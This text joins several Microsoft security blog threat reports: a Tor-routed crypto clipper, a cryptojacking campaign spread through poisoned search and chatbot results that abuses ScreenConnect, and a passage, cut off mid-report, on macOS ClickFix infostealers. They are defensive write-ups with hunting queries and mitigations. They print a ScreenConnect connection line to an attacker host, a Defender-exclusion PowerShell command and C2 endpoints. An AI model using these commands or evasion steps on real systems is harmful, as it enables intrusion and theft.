The bundled Tor client is central to the operation. By routing communication over localhost:9050 and resolving “.onion” destination domains inside Tor, the malware reduces DNS visibility, obscures the final C2 destination, and complicates destination-based blocking. This design gives the operator anonymity benefits while keeping the malware compact and self-contained.

Command and control

The command and control over a Tor-routed domain routes network traffic through local IP address 127.0.0.1 on port 9050. The tunneled domain appears in the initiating process command line. The C2 domains use the following endpoints and actions across different execution stages.

• C2 Domain: <domain>.onion
• Endpoints:
  • /route.php : Beacon and command retrieval
  • /recvf.php : File upload (screenshots)
  • /stub.php: Payload download
• Communication:
  • Protocol: HTTP over Tor (SOCKS5 proxy at localhost:9050)
  • Method: curl with POST requests
  • Authentication: GUID + GEIP (geolocation)
• Actions Sent to C2:
  • GUID : Heartbeat beacon
  • SEED : Exfiltrated seed phrase
  • PKEY : Exfiltrated private key
  • REPL : Address replacement notification
  • GOOD : (legacy/fallback action)
• Commands from C2:
  • GUID : Acknowledge/refresh victim GUID
  • EVAL : Execute arbitrary JScript code (remote code execution)

A file named “cfile” is created on the infected system as an output for payload hosted on the C2 domain.

The malware sample we analyzed also provided a function called checkC2Command. The function has an EVAL method, which would allow any payload placed in the cfile to be executed on the victim’s system.

Collection

Seed

Clipboard theft focuses on high-value financial artifacts. The malware detects 12 or 24-word BIP39 seed phrases in clipboard data. It saves the seed to local file (GOOD path) as a backup and exfiltrates it to the C2 domain via Tor. It retries network transmission until it is acknowledged and deletes local backup after successful transmission. It also takes five screenshots (ten seconds apart) and uploads them asynchronously. The screenshots help the threat actor gain additional context on the end user’s wallet and balances.

Private Key extraction

The crypto clipper also detects cryptocurrency keys for both Ethereum and Bitcoin WIF. Once the captured keys are saved and exfiltrated, the malware captures screenshots of the user’s screen for a full context. The captured values are validated against a word list.

Address replacement

The stealer also probes for cryptocurrency addresses and replaces them with attacker’s addresses. The malware checks that the address has alphanumeric values.

• For a Bitcoin legacy address which starts with “1” and has a length of 32-36 values, the address is replaced with an address that matches the first two characters.

• For a Bitcoin P2SH address which starts with a “3” and has a length of 32-36 values, the stealer replaces the address with one matching the original address on the first two characters.

• For a Bitcoin taproot address which starts with “bc1p” and has a length of 40-64 characters, the stealer replaces it with one matching the last character.

• For a Bitcoin Bech32 address which starts with “bc1q” and has a length of 40-64 characters, the stealer replaces only the last character.

• For a Tron address which starts with “T” and has exactly 34 characters, the stealer replaces the address with one that matches the first two characters.
• For a Monero address which starts with a “4” or a “8” and has exactly 95 characters, the stealer replaces the address with a single address.

The following shows an example of address replacement:

This malware family shows how lightweight, script-based stealers can deliver outsized impact when paired with anonymized communications and runtime tasking. The combination of Tor-routed C2, clipboard targeting, screenshot capture, and remote code execution gives attackers both immediate monetization paths and continued control over compromised devices.

Organizations should focus on hardening script execution paths, monitoring local SOCKS proxy abuse, and using behavioral hunting to connect script activity with network, clipboard, and process signals. That combination offers the best chance of surfacing this class of threat before financial loss or broader follow-on activity occurs.

Mitigation and protection guidance

Defenders should prioritize behavioral detections over static signatures. Investigate systems where WScript, CScript, or related script engines launch curl, cmd.exe, PowerShell, or unexpected executables. localhost:9050 network activity, especially when coupled with suspicious scripting behavior, is also valuable context for triage.

Where operationally feasible, reduce abuse of script-based interpreters and review Attack Surface Reduction rules that block obfuscated scripts and suspicious child-process chains. Review detections for PowerShell-based screen capture and examine devices for indicators of clipboard inspection or wallet-address replacement.

Recommended actions

• Disable AutoRun/AutoPlay for all removable media
• Block .lnk execution from removable drives via GPO
• Restrict unnecessary use of wscript.exe, cscript.exe, and similar script hosts where possible.
• Review and enable relevant Attack Surface Reduction rules, especially those focused on obfuscated script execution and suspicious child-process behavior.
• Investigate script-to-network chains involving curl, PowerShell, or cmd.exe.
• Hunt for local SOCKS5 proxy activity on localhost:9050.
• Review clipboard-related and screen-capture behaviors on devices handling sensitive financial workflows.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender customers can run the following queries to find related activity in their networks:

Execution launched from scheduled tasks

DeviceProcessEvents
| where FileName =="schtasks.exe"
| where ProcessCommandLine matches regex
@"(?i)schtasks\s+/create\s+/tn\s+[a-z]{4,6}\s+/xml\s+C:\\Users\\Public\\Documents\\[a-z]{4,6}\\[a-z]{4,6}\.xml\s+/f"

Local Tor proxy activity (localhost:9050)

DeviceNetworkEvents
| where ActionType =="ConnectionSuccess"
| where InitiatingProcessCommandLine has_all ("curl","socks5-hostname",".onion")

Tor-routed curl execution

DeviceProcessEvents
| where FileName =~ "curl.exe"
| where ProcessCommandLine has_all ("--socks5-hostname", "localhost:9050")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine

MITRE ATT&CK Techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Initial Access

• T1091 Replication Through Removable Media

Execution

• T1059 Command and Scripting Interpreter | EVAL-driven remote code execution from server tasking

Discovery

• T1057 Process Discovery | Task Manager check used as an anti-analysis gate

Persistence

• T1053.005 Scheduled Task/Job | Scheduled Task

Defense evasion

• T1027 | Shuffled strings and decoder functions conceal commands and APIs

Collection

• T1115 Clipboard Data | Clipboard theft targets seed phrases, keys, and wallet addresses
• T1113 Screen Capture | PowerShell screenshot capture supports operational visibility

Command and Control

• T1090 Proxy | Traffic routed through Tor via local SOCKS5 proxying

Exfiltration

• T1048.002 Exfiltration Over Alternative Protocol

Indicators of compromise (IOC)

References 

• http://approjects.co.za/?big=en-us/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/#clipping-and-switching. Microsoft (published 2022-05-17)
• https://gbhackers.com/ssh-over-tor-tunnel/. Ghbhackers(published 2026-04-28)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Crypto Clipper uses Tor and worm-like propagation for persistence and control appeared first on Microsoft Security Blog.

Microsoft Defender Experts identified an active cryptojacking campaign in which malicious download sites are surfaced not only through traditional search engine poisoning, but also through AI chatbot interactions. This emerging delivery technique extends social engineering beyond conventional search results and increases the visibility of malicious software recommendations.

The campaign impersonates trusted system utilities including CrystalDiskInfo, HWMonitor, Display Driver Uninstaller, FurMark, K-Lite Codec Pack, and PDFgear to target users likely to own high-performance GPUs. Rather than maximizing infection volume, the threat actor appears focused on compromising systems with higher mining value.

Beyond cryptocurrency mining, the campaign establishes persistent remote access through abused ScreenConnect deployments that could later support data theft, lateral movement, or ransomware activity. This combination of AI-assisted delivery, software impersonation, and persistent access highlights how threat actors are adapting social engineering and monetization strategies to modern user behavior.

Microsoft Defender detected and blocked activity associated with this campaign. Organizations should enable cloud-delivered protection, run EDR in block mode, and enable attack surface reduction rules to reduce risk.

Attack chain overview

Cryptocurrency mining campaigns have long favored volume over precision, compromising as many hosts as possible to extract marginal value from each. The campaign described in this blog takes a more deliberate approach: its operators have built a targeting and monetization strategy engineered from the ground up to maximize GPU mining yield per compromised device.

Initial access

The campaign begins when users search for common system utility and hardware-monitoring software on a search engine. The users are then presented with manipulated results that direct them to attacker-controlled lookalike sites. The operator runs a coordinated SEO poisoning operation that simultaneously masquerades as a broad portfolio of trusted utility brands, where each one serves the same downstream payload chain.

The campaign abuses multiple trusted brands, including: CrystalDiskInfo, HWMonitor, Display Driver Uninstaller, FurMark, K-Lite Codec Pack, and PDFgear. The selection of these brands is deliberate. Each application is favored by PC enthusiasts and hardware-focused users, precisely the audience most likely to own a high-performance discrete GPU, the hardware that makes GPU cryptocurrency mining economically viable.

In April 2026, we observed reports indicating that users may have been directed to malicious domains through interactions with large language model (LLM)–based tools. In these cases, users querying AI chatbots for software download recommendations were presented with links to attacker‑controlled domains within generated responses. Analysis of VirusTotal scan associated with these domains further identified traffic metadata referencing chatbot interactions as a potential referral context.

While this behavior is based on observed patterns and correlated data sources, it’s consistent with emerging techniques in AI search result poisoning, representing an extension of traditional SEO poisoning beyond conventional search engines.

Each fake site presents a download button that claims it has the legitimate utility. The download instead retrieves a ZIP archive hosted on a campaign‑specific subdomain of gleeze.com. The gleeze.com parent domain is hosted by infrastructure associated with Dynu (dynu.com), a dynamic DNS provider frequently leveraged by threat actors.

Since March 2026, we’ve identified more than 150 malicious domains that we assess serve these malicious tools, masqueraded as system utilities linked to this campaign.

DLL sideloading and silent installation of ScreenConnect software

The downloaded ZIP archive contains the legitimate executable for the spoofed utility alongside a malicious DLL named autorun.dll. When the user launches the executable, the legitimate program loads autorun.dll from the same folder via DLL sideloading, a technique that requires no exploitation and generates no user-visible anomaly. Analysis revealed nine distinct autorun.dll variants across the campaign.

The malicious DLL uses msiexec.exe to silently install a second malicious DLL named vcredist_x64.dll, named to masquerade as the Visual C++ Redistributable. This file is itself a packaged installer for ScreenConnect software.

ScreenConnect software (also known as ConnectWise Control) is a legitimate commercial remote management tool widely used by IT administrators. The tool itself is not at fault; rather, the threat actor abuses its legitimate capabilities to establish persistent remote access consistent with a broader pattern of remote monitoring and management (RMM) tool abuse observed across the threat landscape

Once installed, the ScreenConnect client constantly attempts to communicate with the attacker-controlled server at 193.42.11[.]108 via the following service invocation:

"ScreenConnect.ClientService.exe" 
"?e=Access&y=Guest&h=directdownload.icu&p=8041&s=b31c5795-9b66-4d20-ac8d-aad60d05852a&k=...&c=Crystaldeskinfo%20New%20New%20New&c=&c=&c=&c=&c=&c=&c="

The h parameter (directdownload[.]icu) is the host the client connects to.

The repeated c= parameters are ScreenConnect’s custom property fields, which in some cases closely matched the software used to drop ScreenConnect. However, across other instances we were unable to verify if this is an identifier linked to the software used via SEO poisoning.

Execution

SimpleRunPE dropper and process hollowing

Once the ScreenConnect session is established, the attacker drops a binary named SimpleRunPE.exe directly via ScreenConnect’s file-transfer feature.

Project lineage

Static analysis of this binary surfaced an embedded Program Database (PDB) path inside the binary’s debug directory:

G:\My Drive\works\test projects\Simple-RunPE-Process-Hollowing-RUNPE\SimpleRunPE\obj\Release\SimpleRunPE.pdb

The folder structure in the path matches a public proof-of-concept repository on GitHub (Watermwo/Simple-RunPE-Process-Hollowing), with a -RUNPE suffix. With this information, Microsoft assesses with moderate confidence that the dropped binary’s process hollowing might be a fork of this public codebase. Using this PDB path as a pivot, we identified multiple binaries sharing similar debug paths, all reported to the Microsoft Defender team and addressed.

Install path and the alternative PowerShell delivery

Once executed, SimpleRunPE.exe writes a copy of itself into a hidden install folder as RuntimeHost.exe. The install folder name uses the campaign identifier D3F4E2A1, which recurs throughout the malware as a mutex name (Global\D3F4E2A1_Svc) and in Defender exclusion entries.

The malware sets the Hidden and System file attributes on both the install folder and the RuntimeHost.exe file, hiding them from default Explorer views. The malware first attempts to install into a preferred location resolved at runtime and falls back to %LocalAppData%\Microsoft\Windows\Caches\D3F4E2A1\ if the preferred location is not writable.

In a subset of compromises, rather than dropping SimpleRunPE.exe directly via ScreenConnect file transfer, a malicious PowerShell script that fetched the binary from a remote drive, stored it locally as vlc.exe, and created a one-time scheduled task to execute and then delete itself, reducing forensic traceability.

Persistence

Once SimpleRunPE.exe has copied itself to the install path as RuntimeHost.exe, it establishes six persistence mechanisms across multiple Windows autostart locations. The persistence mechanisms span three scheduled tasks, two registry Run keys, and one Startup folder shortcut.

Each time the persistence mechanism executes, it relaunches RuntimeHost.exe, which functions as a recovery mechanism for the follow up process hollowing behaviour. Each time the persistence mechanism launches RunTimeHost, it validates whether the following behavior is complete. If the behavior isn’t complete, the rumtimehost.exe attempts to hollow as well.

Defense evasion

Process hollowing into Microsoft-signed .NET binaries

The malware simplerunpe.exe proceeds to attempt process hollowing into a legitimate Microsoft-signed binary. The malware carries a hardcoded list of seven candidate target processes, all of them legitimate Windows utilities that ship with the .NET Framework. These targets are tried in order, and the first one whose binary is present on the host’s disk is selected:

• InstallUtil.exe
• RegAsm.exe
• RegSvcs.exe
• MSBuild.exe
• AppLaunch.exe
• AddInProcess.exe
• aspnet_compiler.exe

The dropper launches the chosen target binary in a suspended state and uses API calls such as WriteProcessMemory, SetThreadContext, ResumeThread to hollow the process. This causes the malicious mining code to run under the identity of a trusted Microsoft-signed binary and execute its own code.

Defender exclusions

The malware simplerunpe.exe invokes PowerShell to call the Add-MpPreference cmdlet, registering both path-based and process-based exclusions.

powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath @(...) -ErrorAction SilentlyContinue"

Process-name exclusions cover 13 binaries:

• The seven .NET hollowing targets (InstallUtil.exe, RegAsm.exe, RegSvcs.exe, MSBuild.exe, AppLaunch.exe, AddInProcess.exe, aspnet_compiler.exe)
• SecurityHealthHost.exe, RuntimeHost.exe, lolMiner.exe, SRBMiner-MULTI.exe, miner.exe, and gminer.exe

Anti-analysis check

The malware performs anti-analysis checks, exiting silently if any indicator suggests the binary is running in an analysis environment.

The malware checks for virtual machine detection: (registry keys for VMware Tools and VirtualBox Guest Additions, the SCSI Identifier value checked against VBOX/VMWARE/QEMU substrings, MAC address prefix matching against known virtualization vendor ranges, and WMI queries against Win32_ComputerSystem and Win32_BIOS.

The malware also checks against a hardcoded list of forty analyst-tool process names spanning debuggers, disassemblers, decompilers, PE inspection tools, and network analysis utilities, including dnSpy, x64dbg, IDA, Ghidra, ProcMon, Wireshark, Fiddler.

If any of the binaries are detected, the process terminates its execution.

Custom crypto mining loader

Once process hollowing is complete and the malware is running inside a Microsoft-signed Windows utility, the mining-client portion of the binary takes over. The first action is to acquire a system-wide mutex named Global\D3F4E2A1_Svc. The mutex name uses the same campaign identifier (D3F4E2A1) as the install-path directory and the Defender exclusion paths.

RuntimeHost.exe probes this mutex to confirm that hollowing has already succeeded and the hollowed process is still alive on the host.

Host-based reconnaissance

The hollowed binary establishes a connection to the attacker’s server (described in the next section) and sends a registration frame containing comprehensive host reconnaissance to the attacker controlled C2/panel.

Command and control encrypted address and certificate pinning

The address of the attacker’s server is held inside an encrypted blob using AES-128-CBC encryption. In addition to obfuscating the address, we observed a hard-coded Transport Layer Security (TLS) certificate.

Decrypting the embedded blob yields the C2 URL wss[:]//minemine.gleeze[.]com:8443/ws.

The malware also hardcodes the SHA-256 fingerprint of the TLS certificate expected at this endpoint, used to pin the connection during the WebSocket handshake:

EB:C3:5D:4A:08:D9:3A:88:0E:90:AE:AD:2D:3F:7F:B4:3F:DC:08:EA:77:DB:9D:D5:2F:80:78:1E:6B:FD:88:67

Mining orchestration

The malware (hollowed Windows binary) doesn’t embed a miner program. Instead, when it’s time to begin mining, the malware downloads the appropriate miner archive at runtime and runs it. Three miner programs are supported: gminer, lolMiner, and SRBMiner-MULTI, all of which are GPU-focused tools.

Auto-repair persistence and activity tracking

The hollowed binary also runs a continuous background routine that wakes every five seconds and checks whether mining should currently be paused (based on the GPU-activity gate), and whether all six persistence mechanisms are still in place.

When the verification cycle runs, the malware

• Checks each of the three scheduled tasks by invoking schtasks.exe /query /tn “<task name>” and recreates any task whose query returns a non-zero exit code.
•  Checks each of the two registry Run keys via direct registry reads and rewrites missing or modified entries.
• Checks the Startup folder shortcut by file existence and recreates it if missing.
• Re-runs the Defender exclusion registration on every cycle, ensuring any exclusions that were removed are restored.

Apart from verifying the persistence, the malware also tracks the process activity on the device. As soon as the loader detects the following processes as running, it terminates the miner process.

The malware also monitors GPU usage and terminates its activity. If the GPU usage is high or the device isn’t idle, the mining processes are terminated.

Certificate pivoting

As mentioned previously, using this hard-coded certificate, we identified 3 IPs using this specific TLS certificate.

Using OSINT, this TLS certificate was observed to be presented by 3 IP addresses. Microsoft assesses that these IPs are part of the C2 infrastructure.

•           93.115[.]10.35

•           198.23[.]185.238

•           2.59.132[.]106

Using these IPs as pivots, we observed that there were additional linked campaigns using a similar DynamicDNS domain giize[.]com. Some of the sources of the malicious file downloads in these campaigns originated from:

• Direct-download[.]giize[.]com
• Free-download[.]giize[.]com

These domains are also linked to a series of malicious domains performing similar SEO poisoning-based campaigns, leading to same infection chain described in this blog.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.

Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  

Enable network protection in Microsoft Defender for Endpoint.

Turn on web protection in Microsoft Defender for Endpoint.

Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Remind employees that enterprise or workplace credentials should not be stored in browsers or password vaults secured with personal credentials. Organizations can turn off password syncing in browser on managed devices using Group Policy.

Turn on the following attack surface reduction rule to block or audit activity associated with this threat:

Block executable files from running unless they meet a prevalence, age, or trusted list criterion(GUID: 01443614-cd74-433a-b99e-2ecdc07bfc25)

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender or Microsoft Sentinel.

Advanced hunting

Suspicious binary execution from unusual directory

This query searches for suspicious RunTimeHost.exe from a specific directory. Executions from this directory are often linked to the relevant campaign.

// 
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "RuntimeHost.exe"
   or InitiatingProcessFileName =~ "RuntimeHost.exe"
| where (FolderPath has @"\Caches\D3F4E2A1")
     or (InitiatingProcessFolderPath has @"\Caches\D3F4E2A1")
| project Timestamp, DeviceId, DeviceName,
          FileName, FolderPath, ProcessCommandLine,
          ParentProcess = InitiatingProcessFileName,
          ParentProcessPath = InitiatingProcessFolderPath,
          ParentProcessCmd = InitiatingProcessCommandLine,
          AccountName

Suspicious scheduled task creation activity

This query looks for suspicious scheduled task creation activity with task names often associated with this cryptojacking campaign.

//Run the below query to identify events linked to the suspicious scheduled task creation activity

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any (
    "Windows System Health Monitor",
    "Windows System Health"
  )
| project Timestamp, DeviceId, DeviceName,
          AccountName,
          TaskCreationCmd = ProcessCommandLine,
          ParentProcess = InitiatingProcessFileName,
          ParentProcessPath = InitiatingProcessFolderPath,
          ParentProcessCmd = InitiatingProcessCommandLine

Suspicious MSIEXEC activity associated with a binary loading a suspicious DLL

This query looks for a process loading a suspicious DLL named ‘autorun.dll’ followed by unusual MSIEXEC activity from the same binary.

let SideloadingProcesses =
DeviceImageLoadEvents
    | where Timestamp > ago(60d)
    | where FileName =~ "autorun.dll"
    | where InitiatingProcessFolderPath  has_any (
        @"\Downloads\", @"\AppData\Local\Temp\", @"\AppData\Roaming\",
        @"\ProgramData\", @"\Users\Public\",@"\Desktop\"
      )
      |where FolderPath has @"\sources\"
    | project SideloadTime = Timestamp, DeviceId, DeviceName,
              LauncherProcessId = InitiatingProcessId,
              LauncherCreationTime = InitiatingProcessCreationTime,
              LauncherName = InitiatingProcessFileName,
              LauncherPath = InitiatingProcessFolderPath,
              SideloadedDllPath = FolderPath;
let unique_devices=SideloadingProcesses|distinct DeviceId;
let MsiSpawns =
 DeviceProcessEvents
    | where Timestamp > ago(60d)
    |where DeviceId in(unique_devices)
    | where FileName =~ "msiexec.exe"
    | where ProcessCommandLine has "/i"
    | where ProcessCommandLine has "/quiet"
    | project MsiSpawnTime = Timestamp, DeviceId,
              LauncherProcessId = InitiatingProcessId,
              LauncherCreationTime = InitiatingProcessCreationTime,
              MsiCmd = ProcessCommandLine,
              MsiProcessId = ProcessId ;  
SideloadingProcesses
| join kind=inner MsiSpawns
    on DeviceId, LauncherProcessId, LauncherCreationTime
| where MsiSpawnTime between (SideloadTime .. (SideloadTime + 30m))
| project SideloadTime, MsiSpawnTime,
          DeviceId, DeviceName,
          LauncherName, LauncherPath, LauncherProcessId,
          SideloadedDllPath, MsiCmd, MsiProcessId

Indicators of compromise (IOC)

References

• SEO Poisoning Attack Uses Microsoft Binary to Install RMM Tool
• Watermwo/Simple-RunPE-Process-Hollowing: The RunPE program is written in C# to execute a specific executable file within another files memory using the ProcessHollowing technique.

This research is provided by Microsoft Defender Security Research with contributions from Parasharan Raghavan and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 

The post From poisoned search results to GPU mining: A cryptojacking campaign abusing ScreenConnect and Microsoft .NET utilities appeared first on Microsoft Security Blog.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

